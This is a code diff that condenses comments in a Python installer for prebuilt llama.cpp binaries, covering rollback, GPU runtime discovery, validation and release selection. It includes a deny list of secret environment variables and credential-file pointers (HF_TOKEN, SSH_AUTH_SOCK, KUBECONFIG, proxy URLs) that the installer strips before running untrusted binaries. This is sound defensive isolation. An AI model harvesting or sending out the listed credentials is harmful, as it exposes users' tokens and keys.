except Exception as copy_exc:
log(f"copying the previous install back also failed: {copy_exc}")
raise restore_exc from copy_exc
log(f"copied the previous install back to {install_dir}")
- # The install is live again, so the source the copy left
- # behind is dead weight, not the last copy. Failing to
- # remove it costs disk; the next activation sweeps it up.
try:
remove_tree_logged(rollback_dir, "copied rollback path")
except Exception as duplicate_exc:
@@ -5648,27 +5284,18 @@ def activate_install_tree(staging_dir: Path, install_dir: Path, host: HostInfo)
except (BusyInstallConflict, PrebuiltFallback):
raise
except Exception as rollback_exc:
- # Kept past the handler: `except` unbinds the name, and the raise
- # below is chained from the activation error, so without this the
- # recovery failure leaves the causal chain entirely.
+ # `except` unbinds the name; keep it so the recovery failure stays in the causal chain.
recovery_error = rollback_exc
if restore_attempted:
log(f"rollback after failed activation also failed: {rollback_exc}")
else:
log(f"recovering from the failed activation also failed: {rollback_exc}")
- # An unrestored rollback path is the only copy of the previous install
- # left, so it is kept: cleaning it up would leave no llama.cpp at all
- # on the in-app update path, which has no source build behind it.
+ # An unrestored rollback is the only copy of the previous install, so keep it.
keep_rollback = not restored and rollback_dir is not None and rollback_dir.exists()
retained_dir = rollback_dir
if keep_rollback:
- # The tree kept here is whatever sat at install_dir, and after an
- # earlier failed update that can be a partial tree the cleanup below
- # could not remove. Pruning on the strength of an unconfirmed tree
- # would trade the last known-good install for a broken one, so an
- # older rollback that still passes confirm_install_tree wins over a
- # newer one that does not.
+ # An older rollback that passes confirm_install_tree wins over a newer unconfirmed one.
if not _install_tree_is_usable(rollback_dir, host):
known_good = newest_usable_install_side_path(
install_dir, host, exclude = rollback_dir
@@ -5680,10 +5307,6 @@ def activate_install_tree(staging_dir: Path, install_dir: Path, host: HostInfo)
)
retained_dir = known_good
log(f"previous install kept at rollback path {retained_dir}")
- # Cap retention at one: every other tree an earlier failed update
- # left is superseded by the one kept here, and keeping them all
- # turns repeated failure into an unbounded pile. Exactly one tree is
- # ever exempt, so switching which one it is does not grow the cap.
superseded = prune_stale_install_side_paths(
install_dir, keep = (retained_dir, failed_dir)
)
@@ -5710,14 +5333,8 @@ def activate_install_tree(staging_dir: Path, install_dir: Path, host: HostInfo)
log(f"cleanup after rollback failure also failed: {cleanup_exc}")
details = textwrap.shorten(str(exc), width = 200, placeholder = "...")
kept = f"; previous install kept at {retained_dir}" if keep_rollback else ""
- # The recovery is the first step here that needs free space -- everything
- # before it renames or deletes -- so a disk-full it hits is not implied by
- # the activation error and is often the only place the full disk shows up.
- # _causal_chain follows __cause__ ahead of __context__, so chaining from
- # the activation error alone hides that from _environment_fatal_reason and
- # the caller starts a source build that needs far more room than the copy
- # that just failed. Only the disk-full case swaps the cause; every other
- # failure still surfaces the activation error the message already quotes.
+ # A disk-full hit by recovery may be the only sign of a full disk; chain from it so the caller
+ # does not start a source build needing more room.
cause: BaseException = exc
if (
recovery_error is not None
@@ -5742,9 +5359,7 @@ def activate_install_tree(staging_dir: Path, install_dir: Path, host: HostInfo)
log(
f"non-fatal: rollback cleanup failed after successful activation: {cleanup_exc}"
)
- # confirm_install_tree just passed, so anything retained under the
- # staging root is provably no longer the last copy of anything and can
- # go. This is the only point where that is true.
+ # Only safe point: confirm_install_tree just passed, so nothing retained is the last copy.
stale = prune_stale_install_side_paths(install_dir, keep = (rollback_dir,))
if stale:
log(f"removed {stale} install tree(s) left behind by earlier failed updates")
@@ -5783,10 +5398,7 @@ def install_from_archives(
try:
extract_archive(main_archive, extract_dir)
- # Download the paired runtime archive into its own temp dir to
- # avoid copy_globs's ambiguous-layout guard on shared names
- # like LICENSE.txt. Two passes of copy_globs land both archives
- # in the same overlay dir. Fixes #5106.
+ # Separate temp dir avoids copy_globs's ambiguous-layout guard on shared names (LICENSE.txt).
if choice.runtime_url and choice.runtime_name:
runtime_archive = work_dir / choice.runtime_name
log(
@@ -5809,16 +5421,7 @@ def install_from_archives(
if _src_subdir.is_dir():
shutil.copytree(_src_subdir, overlay_dir / _subdir, dirs_exist_ok = True)
if runtime_extract_dir is not None:
- # The runtime archive only contributes the CUDA DLLs.
- # Restrict the overlay to the cudart bundle's known
- # filenames (cudart64_X.dll / cublas64_X.dll /
- # cublasLt64_X.dll) rather than the broad ``*.exe`` /
- # ``*.dll`` set from runtime_patterns_for_choice, so a
- # malformed runtime archive can never overwrite
- # llama-server.exe or other main-archive payload. The
- # upstream cudart-llama-bin-win-cuda-X.Y-x64.zip currently
- # ships exactly these three DLLs (verified against b9103
- # cuda-12.4 and cuda-13.1 bundles).
+ # Restrict to the cudart DLLs so a malformed runtime archive cannot overwrite llama-server.exe.
copy_globs(
runtime_extract_dir,
overlay_dir,
@@ -5957,7 +5560,6 @@ def download_validation_model(path: Path, cache_path: Path | None = None) -> Non
raise PrebuiltFallback(f"validation model unavailable: {exc}") from exc
-# A probe model supplied either directly or as a thunk fetched on first use.
ValidationModelProvider = Union[Path, Callable[[], Path]]
@@ -6095,40 +5697,23 @@ def python_runtime_dirs() -> list[str]:
pass
for root in search_roots:
- # sys.path / PYTHONPATH can name a directory this user cannot stat, and
- # is_dir() re-raises PermissionError, escaping windows_runtime_dirs() and
- # defeating its skip_unusable discovery.
+ # is_dir() re-raises PermissionError, which would defeat skip_unusable discovery.
try:
if not root.is_dir():
continue
except (OSError, ValueError):
continue
- # ``nvidia/<pkg>/lib`` -- Linux convention; harmless on Windows
- # where the directory simply does not exist on real wheels.
candidates.extend(root.glob("nvidia/*/lib"))
- # ``nvidia/<pkg>/bin`` -- legacy modular Windows wheels
- # (``nvidia-cuda-runtime-cu12``, ``nvidia-cublas-cu12``).
candidates.extend(root.glob("nvidia/*/bin"))
- # ``nvidia/<pkg>/bin/x86_64`` and ``.../bin/x64`` -- current
- # CUDA 13 Windows wheel layout (the unsuffixed
- # ``nvidia-cuda-runtime`` 13.x and ``nvidia-cublas`` 13.x
- # packages ship under ``nvidia/cu13/bin/x86_64/cudart64_13.dll``).
- # Without these, Windows preflight CUDA detection misses cu13
- # installs and falls back to the upstream cudart bundle path
- # even when usable DLLs are already on disk (#5106). Kept in
- # sync with the backend resolver
- # ``llama_cpp.LlamaCppBackend._windows_pip_nvidia_dll_dirs``.
+ # CUDA 13 Windows wheels use nvidia/cu13/bin/x86_64. Keep in sync with
+ # llama_cpp.LlamaCppBackend._windows_pip_nvidia_dll_dirs.
candidates.extend(root.glob("nvidia/*/bin/x86_64"))
candidates.extend(root.glob("nvidia/*/bin/x64"))
- # ``nvidia/<pkg>/Library/bin`` -- conda-style wheel repacks.
candidates.extend(root.glob("nvidia/*/Library/bin"))
candidates.extend(root.glob("nvidia/*/Library/bin/x86_64"))
candidates.extend(root.glob("nvidia/*/Library/bin/x64"))
candidates.extend(root.glob("torch/lib"))
- # These are optional globbed CUDA wheel dirs, so a denied child under a
- # readable root must not abort discovery; it could not have served DLLs to
- # the loader anyway. Matches the always-lenient serve-time copy in
- # backend/utils/prebuilt/runtime_libs.py.
+ # Optional dirs: a denied child must not abort discovery.
return dedupe_existing_dirs(candidates, skip_unusable = True)
@@ -6160,16 +5745,11 @@ def linux_runtime_dirs(binary_path: Path) -> list[str]:
return linux_runtime_dirs_for_required_libraries(missing)
-# macOS prebuilt compatibility. Upstream macos prebuilts built on a newer macOS
-# (e.g. minos=26, referencing Metal-4 symbols) fail dyld load on macOS 14/15. We
-# read the host macOS version and each binary's minimum-OS so selection can skip
-# a too-new prebuilt and walk back to the newest release that runs on this host.
-# Mach-O constants (Apple mach-o/fat.h, mach-o/loader.h, mach/machine.h).
+# Upstream macOS prebuilts built on a newer macOS fail dyld load on older hosts; read minos to skip.
_MACHO_FAT_MAGICS = {0xCAFEBABE, 0xCAFEBABF} # universal binary (32/64-bit fat)
_LC_VERSION_MIN_MACOSX = 0x24 # legacy min-macOS load command
_LC_BUILD_VERSION = 0x32 # modern platform+minos+sdk load command
_MACHO_PLATFORM_MACOS = 1 # LC_BUILD_VERSION platform id for macOS (iOS=2, ...)
-# CPU types (base | ABI64); used to pick the host slice in a fat binary.
_CPU_TYPE_X86_64 = 0x01000007
_CPU_TYPE_ARM64 = 0x0100000C
@@ -6305,8 +5885,7 @@ def looks_like_macos_loader_failure(text: str) -> bool:
lowered = text.lower()
if any(marker in lowered for marker in _MACOS_LOADER_FAILURE_MARKERS):
return True
- # No bare "dyld[pid]:" rule: DYLD_PRINT_LIBRARIES narrates a healthy load
- # under that same prefix. It says who is speaking, not that anything failed.
+ # No bare "dyld[pid]:" rule: DYLD_PRINT_LIBRARIES narrates a healthy load with that prefix.
return looks_like_macos_incompatibility(text)
@@ -6368,16 +5947,13 @@ def macos_dyld_load_issues(
continue
seen.add(resolved)
env = binary_env(binary_path, install_dir, host)
- # Keep the user's dyld diagnostics out of output we are about to parse:
- # DYLD_PRINT_* narrates, DYLD_INSERT_LIBRARIES can fail and blame the bundle.
for noisy in [k for k in env if k.startswith("DYLD_PRINT_")]:
env.pop(noisy, None)
env.pop("DYLD_INSERT_LIBRARIES", None)
try:
result = run_capture([str(binary_path), "--version"], timeout = 60, env = env)
except Exception as exc:
- # A timeout or a refusal to spawn is not evidence of a bad link, and
- # calling it one would reject a healthy bundle on a loaded machine.
+ # A timeout or spawn refusal is not evidence of a bad link.
log(f"macos load probe could not run {binary_path.name}: {exc}")
continue
if result.returncode == 0:
@@ -6385,15 +5961,8 @@ def macos_dyld_load_issues(
loaded.add(binary_path.name)
continue
output = (result.stdout + result.stderr).strip()
- # A non-zero exit is not evidence of a bad link: llama-quantize answers
- # --version by printing its table and exiting 1. Reading the code as the
- # verdict rejected every published prebuilt and fell back to a source
- # build. Require dyld's own signature instead -- it also names the dylib
- # that asked, which otool -L cannot, since an absolute install name absent
- # from disk is the normal case for /usr/lib's shared-cache members.
+ # A non-zero exit is not evidence: llama-quantize --version exits 1. Require dyld's signature.
if not looks_like_macos_loader_failure(output):
- # llama-quantize answers --version by printing its table and exiting 1;
- # dyld still resolved the image to let it print anything at all.
if loaded is not None:
loaded.add(binary_path.name)
continue
@@ -6450,8 +6019,7 @@ def preflight_macos_installed_binaries(
)
expected = {path.name for path in binaries if path.is_file()}
if not expected or not expected.issubset(loaded):
- # The probe fails open so a loaded machine cannot reject a healthy bundle;
- # that is right for INSTALLING, and wrong to remember as a load.
+ # The probe fails open, which is right for installing but wrong to record as a load.
log("macos load probe did not run for every binary; not recording it as a pass")
return False
return True
@@ -6511,8 +6079,7 @@ def windows_runtime_dirs() -> list[str]:
program_files = os.environ.get("ProgramFiles", r"C:\Program Files")
toolkit_base = Path(program_files) / "NVIDIA GPU Computing Toolkit" / "CUDA"
- # %ProgramFiles% is user-controllable, so this stat is as deniable as the
- # PATH entries below. glob() already swallows OSError.
+ # %ProgramFiles% is user-controllable, so this stat can be denied.
try:
toolkit_is_dir = toolkit_base.is_dir()
except (OSError, ValueError):
@@ -6582,15 +6149,12 @@ def _bundled_hip_present(binary_dir: str) -> bool:
if not binary_dir:
return False
try:
- # Glob the version suffix (libggml-hip.so, .so.0, .so.0.11.1) the same
- # way the installer's runtime health check matches libggml-hip.so*.
return any(Path(str(binary_dir)).glob("libggml-hip.so*"))
except OSError:
return False
def _native_linux_system_rocm_lib_dirs(binary_dir: str = "") -> list[str]:
- # UNSLOTH_LLAMA_NO_SYSTEM_ROCM=1 keeps the bundled runtime (opt-out).
if os.environ.get("UNSLOTH_LLAMA_NO_SYSTEM_ROCM") == "1":
return []
if sys.platform != "linux" or os.path.exists("/dev/dxg"):
@@ -6599,8 +6163,7 @@ def _native_linux_system_rocm_lib_dirs(binary_dir: str = "") -> list[str]:
return []
if not _bundled_hip_present(binary_dir):
return []
- # Env-configured ROCm root first; /opt/rocm only as a fallback so a stale
- # /opt/rocm doesn't shadow the driver-matching install these vars point at.
+ # Env-configured ROCm root first so a stale /opt/rocm does not shadow it.
candidates = []
for var in ("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"):
val = os.environ.get(var)
@@ -6619,10 +6182,7 @@ def _native_linux_system_rocm_lib_dirs(binary_dir: str = "") -> list[str]:
os.path.join(d, "libhsa-runtime64.so.1")
):
out.append(d)
- # ROCm keeps LLVM's versioned runtime under <root>/lib/llvm, so a
- # lib64 host still finds it under lib. Probe both and keep them
- # ahead of the bundle, else system libamd_comgr binds to the
- # bundle's incompatible libLLVM.so.*.
+ # Keep LLVM dirs ahead of the bundle, else system libamd_comgr binds the bundle's libLLVM.
for _sub in (lib_sub, "lib"):
llvm_lib = os.path.join(base, _sub, "llvm", "lib")
if llvm_lib not in seen and os.path.isdir(llvm_lib):
@@ -6631,8 +6191,7 @@ def _native_linux_system_rocm_lib_dirs(binary_dir: str = "") -> list[str]:
return out
-# Secrets a downloaded llama.cpp binary never needs; keep them out of binary_env().
-# The installer's own API calls read os.environ directly, so auth is unaffected.
+# Secrets a downloaded binary never needs; the installer's own API calls read os.environ.
_SECRET_ENV_EXACT_NAMES = frozenset(
{
"HF_TOKEN",
@@ -6650,13 +6209,11 @@ _SECRET_ENV_EXACT_NAMES = frozenset(
"ACTIONS_ID_TOKEN_REQUEST_TOKEN",
"ACTIONS_ID_TOKEN_REQUEST_URL",
"ACTIONS_RUNTIME_TOKEN",
- # Credential pointers (cluster / remote-host access).
"KUBECONFIG",
"SSH_AUTH_SOCK",
}
)
-# Case-insensitive substring markers for names we do not enumerate (no bare "KEY",
-# which would hit benign runtime vars).
+# No bare "KEY": it would hit benign runtime vars.
_SECRET_ENV_MARKERS = (
"TOKEN",
"SECRET",
@@ -6667,7 +6224,6 @@ _SECRET_ENV_MARKERS = (
"PRIVATE_KEY",
"API_KEY",
)
-# Proxy / index URLs embed creds in their value; the offline binaries never need them.
_SECRET_ENV_URL_NAMES = frozenset(
{
"HTTP_PROXY",
@@ -6682,7 +6238,6 @@ _SECRET_ENV_URL_NAMES = frozenset(
"UV_EXTRA_INDEX_URL",
}
)
-# Also drop values with URL userinfo creds (scheme://user:secret@host or token@host).
_URL_USERINFO_CREDENTIAL_RE = re.compile(r"://[^/@\s]+@")
@@ -6704,9 +6259,7 @@ def scrub_env(env: dict[str, str]) -> dict[str, str]:
}
-# Home / cache pointers to on-disk token stores (~/.cache/huggingface/token,
-# ~/.aws/credentials, ...). Stripping env tokens is not enough; point these at an
-# empty home so the binary cannot read those files via $HOME.
+# Point home/cache vars at an empty home so the binary cannot read on-disk token stores.
_RUNTIME_HOME_POINTER_VARS = (
"HOME",
"USERPROFILE",
@@ -6719,8 +6272,6 @@ _RUNTIME_HOME_POINTER_VARS = (
"HUGGINGFACE_HUB_CACHE",
"HF_HUB_CACHE",
)
-# Credential / config file pointers outside HOME; drop so lookups fall back to the
-# empty home.
_CREDENTIAL_FILE_POINTER_VARS = (
"NETRC",
"PIP_CONFIG_FILE",
@@ -6740,8 +6291,7 @@ _isolated_runtime_home_dir: str | None = None
def isolated_runtime_home() -> str:
- # Empty dir, created lazily and removed at exit. (A binary resolving the real
- # home via getpwuid is out of scope; that needs OS sandboxing.)
+ # A binary resolving the real home via getpwuid is out of scope (needs OS sandboxing).
global _isolated_runtime_home_dir
if _isolated_runtime_home_dir is None:
path = tempfile.mkdtemp(prefix = "unsloth-prebuilt-home-")
@@ -6751,13 +6301,10 @@ def isolated_runtime_home() -> str:
def scrubbed_environ() -> dict[str, str]:
- # os.environ minus secrets, with home / credential pointers neutralised. Used for
- # the binary env and any probe (e.g. ldd) that runs the untrusted binary.
env = scrub_env(os.environ.copy())
runtime_home = isolated_runtime_home()
for pointer in _RUNTIME_HOME_POINTER_VARS:
env[pointer] = runtime_home
- # Windows rebuilds the profile from %HOMEDRIVE%%HOMEPATH% (no-op pair on POSIX).
drive, tail = os.path.splitdrive(runtime_home)
env["HOMEDRIVE"], env["HOMEPATH"] = drive, tail or runtime_home
for pointer in (*_CREDENTIAL_FILE_POINTER_VARS, *_CI_COMMAND_FILE_VARS):
@@ -6793,14 +6340,11 @@ def binary_env(
if _wsl_rocm:
ld_dirs = [*_wsl_rocm, *ld_dirs]
env.setdefault("HSA_ENABLE_DXG_DETECTION", "1")
- # Native Linux AMD: system ROCm libs before the bundle's bundled HIP
- # runtime, which can be incompatible with the host amdkfd driver.
+ # The bundled HIP runtime can be incompatible with the host amdkfd driver.
_native_rocm = _native_linux_system_rocm_lib_dirs(str(binary_path.parent))
if _native_rocm:
ld_dirs = [*_native_rocm, *ld_dirs]
existing = [part for part in env.get("LD_LIBRARY_PATH", "").split(os.pathsep) if part]
- # An inherited entry under a mode-000 parent or a stale NFS mount is not
- # ours to require. The bundle's own dirs stay strict.
required = dedupe_existing_dirs(ld_dirs)
inherited = dedupe_existing_dirs(existing, skip_unusable = True)
env["LD_LIBRARY_PATH"] = os.pathsep.join(dict.fromkeys([*required, *inherited]))
@@ -6835,9 +6379,6 @@ def validate_quantize(
)
if result.returncode != 0 or not quantized_path.exists() or quantized_path.stat().st_size == 0:
combined = result.stdout + ("\n" + result.stderr if result.stderr else "")
- # Backstop for prebuilts the static minos scan could not read: a dyld
- # "built for macOS N" / missing Metal symbol failure means this binary
- # needs a newer macOS than the host, so fall back to an older release.
prefix = (
"macos prebuilt requires a newer macOS than this host: "
if looks_like_macos_incompatibility(combined)
@@ -6877,13 +6418,8 @@ def validate_server(
"--batch-size",
"32",
]
- # Only enable GPU offload for assets that actually ship GPU code.
- # Gating on `host.has_rocm` alone breaks the intentional CPU
- # fallback on AMD Windows hosts without a HIP prebuilt: the CPU
- # binary would be launched with `--n-gpu-layers 1` and fail
- # validation. Use the resolved install_kind as the source of
- # truth and fall back to host detection when the caller did not
- # pass one (keeps backwards compatibility with older call sites).
+ # Gate GPU offload on install_kind, not host.has_rocm: a CPU fallback bundle on AMD Windows
+ # would fail validation with --n-gpu-layers 1.
_gpu_kinds = {
"linux-cuda",
"linux-arm64-cuda",
@@ -6900,10 +6436,6 @@ def validate_server(
if install_kind is not None:
_enable_gpu_layers = install_kind in _gpu_kinds
else:
- # Older call sites that don't pass install_kind: keep ROCm
- # hosts in the GPU-validation path so an AMD-only Linux host
- # is exercised against the actual hardware rather than the
- # CPU fallback. NVIDIA and macOS-arm64 are already covered.
_enable_gpu_layers = (
host.has_usable_nvidia or host.has_rocm or (host.is_macos and host.is_arm64)
)
@@ -6927,9 +6459,7 @@ def validate_server(
**_validation_server_kwargs(),
**windows_hidden_subprocess_kwargs(),
)
- # For the caller that spawned this script: a validation server is
- # its grandchild, so a crash here leaves it holding the GPU and
- # the staged files with nothing recording where it is.
+ # The validation server is the caller's grandchild; announce it so a crash cannot orphan it.
_announce_child("started", process.pid)
deadline = time.time() + 60
startup_started = time.time()
@@ -6991,8 +6521,7 @@ def validate_server(
)
finally:
if process is not None:
- # Only once nothing is left in its group: announcing the stop
- # drops the record, which is the only handle on a survivor.
+ # Announcing the stop drops the record, the only handle on a survivor.
if _terminate_validation_server(process):
_announce_child("stopped", process.pid)
try:
@@ -7037,10 +6566,7 @@ def _validation_server_kwargs() -> "dict[str, Any]":
owner_pid = os.getpid() # read pre-fork, so the child can tell reparenting apart
def _arm_parent_death() -> None:
- # Post-fork, pre-exec: fork clears the setting, and subprocess runs
- # preexec_fn after setsid, neither of which undoes it (a plain execve
- # preserves it too). getppid closes the race where the installer was
- # already gone by the time this ran.
+ # fork clears the setting and setsid does not undo it; getppid closes the reparent race.
try:
import ctypes
ctypes.CDLL("libc.so.6", use_errno = True).prctl(_PR_SET_PDEATHSIG, signal.SIGTERM)
@@ -7097,9 +6623,7 @@ def _terminate_validation_server(process: "subprocess.Popen", grace: float = 5.0
try:
pgid = os.getpgid(process.pid)
except OSError:
- # Already reaped, so its own pid is the group id: it was started in
- # a session of its own, and the kernel holds that number for as long
- # as any member of the group is still there.
+ # Already reaped, but the kernel holds its pid as pgid while any group member remains.
pgid = process.pid
if pgid != process.pid:
pgid = None # not the leader after all; never signal a shared group
@@ -7114,8 +6638,7 @@ def _terminate_validation_server(process: "subprocess.Popen", grace: float = 5.0
process.wait(timeout = grace)
except subprocess.TimeoutExpired:
pass
- # The leader exiting is not the answer: a member that ignored the SIGTERM
- # is still holding the GPU and the staged files.
+ # A member that ignored SIGTERM can still hold the GPU and staged files.
_wait_for_group(pgid, grace)
if pgid is not None and _group_is_running(pgid):
try:
@@ -7295,9 +6818,7 @@ def apply_approved_hashes(
missing_assets.append(attempt.name)
continue
attempt.expected_sha256 = approved.sha256
- # Resolve the paired runtime archive's hash too. Drop the pair
- # if the manifest does not list it -- never install an
- # unverified archive.
+ # Drop the pair if the manifest does not list it: never install an unverified archive.
if attempt.runtime_name and attempt.runtime_url:
runtime_approved = checksums.artifacts.get(attempt.runtime_name)
if runtime_approved is None:
@@ -7435,9 +6956,7 @@ def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) ->
names."""
attempts: list[AssetChoice] = []
if host.has_usable_nvidia:
- # Prefer the cudart major Unsloth loads at runtime (torch's bundled
- # libcudart), not the newest detected on disk. Without this a stray
- # cuda13 runtime outranks the torch cuda12 the binary links against.
+ # Prefer torch's cudart major, else a stray cuda13 runtime outranks the cuda12 torch links.
torch_preference = detect_torch_cuda_runtime_preference(host)
selection = linux_cuda_choice_from_release(
host,
@@ -7448,11 +6967,7 @@ def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) ->
if selection is not None:
attempts.extend(selection.attempts)
elif host.has_rocm:
- # Use the fork's own per-gfx ROCm bundle (hash-approved, ships the full
- # ROCm runtime). Do NOT append the CPU asset for ROCm-only hosts: if no
- # bundle covers the GPU we want validate_prebuilt_attempts to raise
- # PrebuiltFallback so the caller triggers the HIP source build, not
- # silently install a CPU-only binary.
+ # No CPU asset for ROCm-only hosts: an uncovered GPU must trigger the HIP source build.
published_rocm = published_rocm_choice_for_host(bundle, host, "linux-rocm")
if published_rocm is not None:
attempts.append(published_rocm)
@@ -7465,9 +6980,6 @@ def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) ->
)
attempts.append(vulkan_choice)
else:
- # Same condition as direct_upstream_release_plan and resolve_upstream_asset_choice,
- # which all three must state; this is the normal published-bundle branch. Reaching here
- # already means not has_rocm (it is the else).
if (host.has_intel_gpu or host.has_amd_gpu_without_rocm) and not host.has_physical_nvidia:
vulkan_choice = published_asset_choice_for_kind(bundle, "linux-vulkan", host = host)
if vulkan_choice is not None:
@@ -7486,17 +6998,9 @@ def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) ->
)
if masked_selection is not None:
attempts.extend(masked_selection.attempts)
- # No CUDA match: fall through to an empty list so the caller source-builds with
- # CUDA, exactly as a visible NVIDIA host with no match does. Never the CPU bundle.
return attempts
- # CPU-only host. A usable-NVIDIA host never reaches here -- if its CUDA
- # selection produced nothing we want an empty attempt list so the caller
- # source-builds with CUDA, not a CPU-only binary silently installed on a
- # GPU host (mirrors the ROCm branch, and Windows NVIDIA). Only x86_64 and
- # arm64 have a CPU bundle; any other Linux arch (ppc64le, riscv64, s390x)
- # has none, so leave attempts empty and source-build rather than hand it
- # the x86_64 linux-cpu binary (the Linux preflight checks libraries, not
- # ELF arch, so a wrong-arch binary would not be caught).
+ # A usable-NVIDIA host never reaches here. Other Linux archs get no bundle: the preflight checks
+ # libraries, not ELF arch, so a wrong-arch binary would not be caught.
kind = "linux-cpu" if host.is_x86_64 else "linux-arm64" if host.is_arm64 else None
cpu_choice = published_asset_choice_for_kind(bundle, kind) if kind else None
if cpu_choice is not None:
@@ -7515,7 +7019,7 @@ RELEASE_LISTING_TRANSPORT_ERRORS = (
def release_listing_fallback(exc: BaseException, published_repo: str) -> PrebuiltFallback:
- # Install time only: a resolver probe must fail hard, or update_flow caches "no prebuilt".
+ # A resolver probe must fail hard, or update_flow caches "no prebuilt".
return PrebuiltFallback(
f"failed to inspect published releases in "
f"{published_repo or DEFAULT_PUBLISHED_REPO}: {exc}"
@@ -7543,9 +7047,7 @@ class LazyReleasePlans(Sequence):
def _resolve_through(self, index: int) -> bool:
while len(self._resolved) <= index:
- # A generator that raised is closed, so without remembering why, a second
- # traversal would report a short-but-clean sequence and len() would answer
- # differently than the call that raised. Same inputs, same answer, every time.
+ # A raised generator is closed; remember the failure so re-traversal answers the same.
if self._failure is not None:
raise self._failure
if self._source is None:
@@ -7598,22 +7100,18 @@ def _fork_manifest_release_plans(
requested_tag = normalized_requested_llama_tag(llama_tag)
allow_older_release_fallback = requested_tag == "latest" and not published_release_tag
release_limit = max(1, max_release_fallbacks)
- # macOS may need to walk past a run of too-new prebuilts. Only when the host
- # version is known; otherwise keep the default (cannot tell up front).
if host.is_macos and allow_older_release_fallback and host.macos_version is not None:
release_limit = max(release_limit, DEFAULT_MAX_MACOS_RELEASE_FALLBACKS)
def _plans() -> "Iterator[InstallReleasePlan]":
resolved_count = 0
last_error: PrebuiltFallback | None = None
- # The newest release this host could not take, if the first plan is an older one.
skipped_newest: str | None = None
for resolved_release in iter_resolved_published_releases(
llama_tag,
published_repo,
published_release_tag,
- # macOS takes the newest release from the CDN and walks back through the API.
continue_after_fast_path = host.is_macos,
):
bundle = resolved_release.bundle
@@ -7684,7 +7182,6 @@ def _fork_manifest_release_plans(
raise PrebuiltFallback("no installable published llama.cpp releases were found")
plans = LazyReleasePlans(_plans())
- # Resolve the first plan here, so its listing failures still raise from the resolver.
if not plans:
raise PrebuiltFallback("no installable published llama.cpp releases were found")
return requested_tag, plans
@@ -7716,7 +7213,6 @@ def persisted_marker_backend_request(backend_request: str | None, choice: AssetC
"""
if backend_request in (None, "auto"):
return "auto"
- # A single-build platform can never apply a named backend, so record detection, as before.
effective = backend_for_install_kind(choice.install_kind)
if effective is not None and not is_requestable_backend(effective):
return "auto"
@@ -7734,16 +7230,13 @@ def marker_backend_request_was_satisfied(backend_request: str | None, choice: As
effective = backend_for_install_kind(choice.install_kind)
if effective is None:
return True
- # A platform publishing exactly ONE build can never honour a named backend, which is why
- # "metal" is out of REQUESTABLE_BACKENDS. Counting macOS unsatisfied owed a retry no
- # release could serve, and Settings rendered an option resolve_backends_payload never offers.
+ # A single-build platform cannot honour a named backend, so "metal" is not requestable.
if not is_requestable_backend(effective):
return True
return effective == backend_request
-# Marker field: the recorded backend_request is a choice still owed, not a description of the
-# install. Absent means satisfied, which is how every marker written before this field reads.
+# Absent means satisfied, which is how every older marker reads.
MARKER_BACKEND_REQUEST_UNSATISFIED = "backend_request_unsatisfied"
@@ -7773,14 +7266,11 @@ def host_profile(host: HostInfo) -> dict[str, Any]:
"""
def _sorted_labels(values: "Iterable[Any] | None") -> list[str]:
- # One row per GPU, in either order, describes the same host.
return sorted({str(value).strip() for value in (values or []) if str(value).strip()})
return {
- # A home directory carried to another arch (or Rosetta) keeps every GPU field equal.
"machine": str(host.machine or "").strip().lower(),
"has_usable_nvidia": bool(host.has_usable_nvidia),
- # The Vulkan routes are gated on there being no NVIDIA adapter at all, usable or not.
"has_physical_nvidia": bool(host.has_physical_nvidia),
"driver_cuda_version": (
list(host.driver_cuda_version) if host.driver_cuda_version else None
@@ -7793,14 +7283,12 @@ def host_profile(host: HostInfo) -> dict[str, Any]:
else {}
),
"has_rocm": bool(host.has_rocm),
- # Upstream ROCm assets go by the runtime's major.minor, which the GPU fields do not carry.
"rocm_runtime": _rocm_runtime_for_profile(host),
"rocm_gfx_target": host.rocm_gfx_target or None,
"rocm_gfx_targets": _sorted_labels(host.rocm_gfx_targets),
"has_intel_gpu": bool(host.has_intel_gpu),
"has_amd_gpu_without_rocm": bool(host.has_amd_gpu_without_rocm),
"macos_version": list(host.macos_version) if host.macos_version else None,
- # The CUDA runtimes on disk order the CUDA selectors' bundles; None off CUDA hosts.
"cuda_runtime_lines": _detected_cuda_runtime_lines(host),
}
@@ -7849,11 +7337,7 @@ def write_prebuilt_metadata(
approved_checksums,
llama_tag,
)
- # expected_install_fingerprint is the source of truth for what the
- # fingerprint must contain. Calling it here -- instead of inlining a
- # parallel payload -- prevents drift where new keys (e.g. the cudart
- # pair fields added for #5106) are added to one side but not the
- # other, which would cause every install to look stale.
+ # Reuse expected_install_fingerprint so the two payloads cannot drift and look stale.
fingerprint = expected_install_fingerprint(
llama_tag = llama_tag,
release_tag = release_tag,
@@ -7866,7 +7350,6 @@ def write_prebuilt_metadata(
_load_probe = (
macos_load_probe_record(host) if macos_load_probe_passed and host is not None else None
)
- # An install kind with no allowlist raises; the binary tier alone is still honest evidence.
try:
_runtime_patterns: list[str] | None = runtime_patterns_for_choice(choice)
except PrebuiltFallback:
@@ -7877,35 +7360,24 @@ def write_prebuilt_metadata(
"release_tag": release_tag,
"published_repo": approved_checksums.repo,
"asset": choice.name,
- # True only for a deliberate CPU choice (--force-cpu). The updater re-asserts it
- # so a forced CPU install is not re-routed to a GPU bundle (#7213). An automatic
- # --cpu-fallback (e.g. arm64 GPU-build recovery) stays False so it can heal to GPU.
+ # Only for --force-cpu, so the updater does not re-route a forced CPU install; --cpu-fallback can heal.
"force_cpu": force_cpu,
# Kept for older Unsloth versions that only understand Vulkan overrides.
"llama_backend": _persisted_backend,
- # What the installed bundle runs on.
"backend": backend_for_install_kind(choice.install_kind),
- # What future updates should preserve. "auto" re-detects.
"backend_request": persisted_marker_backend_request(backend_request, choice),
- # Present only when the request is NOT what landed, so old markers read satisfied.
**(
{}
if marker_backend_request_was_satisfied(backend_request, choice)
else {MARKER_BACKEND_REQUEST_UNSATISFIED: True}
),
- # The AMD gfx an AUTOMATIC route was decided on. A Vulkan asset name carries
- # no arch, and the Windows driver-only hosts that reach Vulkan automatically
- # have no probe (hipinfo/amd-smi absent), so the updater would re-detect a
- # ROCm-less host and drop to CPU. Automatic only: elsewhere the asset names
- # the arch, and a stale copy would outlive its GPU.
+ # The AMD gfx an AUTOMATIC route used: Vulkan asset names carry no arch, and driver-only hosts
+ # have no probe to re-detect it.
